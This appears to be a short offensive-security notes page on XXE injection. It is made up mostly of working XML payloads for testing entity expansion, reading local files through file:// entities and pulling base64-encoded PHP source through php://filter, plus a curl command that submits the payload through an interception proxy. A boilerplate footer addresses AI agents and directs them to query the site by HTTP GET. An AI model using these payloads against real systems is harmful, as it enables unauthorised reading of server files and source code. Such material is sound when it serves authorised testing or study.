> For the complete documentation index, see [llms.txt](https://notes.m4lwhere.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.m4lwhere.org/offensive/web-exploits/xxe.md).

# XXE

XXE can be used to access local files on the host, potential RFI for internal hosts, and RCE in very specific circumstances. By creating custom XML elements, we can create specific entities for us to use.&#x20;

#### Determine if XXE is triggered:

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe "haha, this is xxe!">]>
<letter>
        <from>0x90skids</from>
        <return_addr>return_addr</return_addr>
        <name>&xxe;</name>
        <addr>addr</addr>
        <message>message</message>
</letter>
```

#### This is for LFI:

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt">]>
<letter>
        <from>0x90skids</from>
        <return_addr>return_addr</return_addr>
        <name>&xxe;</name>
        <addr>addr</addr>
        <message>message</message>
</letter>
```

Sometimes PHP or Apache will prevent a php file from being loaded. If this is the case, we can actually have PHP encode the file as Base64 to bypass some controls.

```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```

We can easily submit the xml file to the endpoint using curl's `@` feature for files. This also proxies the connection through an interception proxy to let us peek into the response on the tool.

```bash
curl --proxy 127.0.0.1:8082 -k -d@./test.xml http://m4lwhere.org/post.php
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.m4lwhere.org/offensive/web-exploits/xxe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
